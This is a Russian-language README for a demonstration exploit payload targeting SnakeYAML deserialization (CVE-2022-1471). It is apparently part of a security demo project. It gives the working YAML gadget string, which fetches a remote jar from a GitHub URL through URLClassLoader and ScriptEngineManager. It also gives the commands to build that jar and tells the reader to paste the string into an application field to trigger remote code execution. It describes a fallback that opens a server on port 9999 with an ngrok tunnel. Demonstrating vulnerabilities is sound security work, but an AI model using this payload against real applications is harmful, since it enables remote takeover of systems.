
Эксплойт-пейлоад SnakeYAML CVE-2022-1471 для демо
Эксплойт-пейлоад для десериализации SnakeYAML для CVE-2022-1471, адаптированный из artsploit/yaml-payload (изначально основан на mbechler/marshalsec).
При загрузке через небезопасный Yaml.load() в SnakeYAML этот пейлоад перехватывает управление запущенным приложением и заменяет его страницей «You've Been PWNED»:
Если внедрение Tomcat Valve недоступно (например, не Spring-приложение), пейлоад переключается на запуск отдельного HTTP-сервера на порту 9999 и автоматически создаёт ngrok-туннель, если ngrok запущен.
Это работает как локально на macOS, так и в CI/CD пайплайнах (например, GitHub Actions на Ubuntu).
Пейлоад SnakeYAML запускает ScriptEngineManager через Java SPI (Service Provider Interface):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL, указывающий на yaml-payload.jar из этого репозиторияURLClassLoader для загрузки удалённых классовScriptEngineManager обнаруживает и загружает AwesomeScriptEngineFactory через META-INF/services/javax.script.ScriptEngineFactory/ на PWNED-страницуТребуется JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Используется как эксплойт-пейлоад в проекте maven-demo. Вставьте строку пейлоада в поле имени приложения, чтобы вызвать RCE. Страница приложения будет заменена на PWNED-страницу при следующем запросе. Полные инструкции по демонстрации см. в README того репозитория.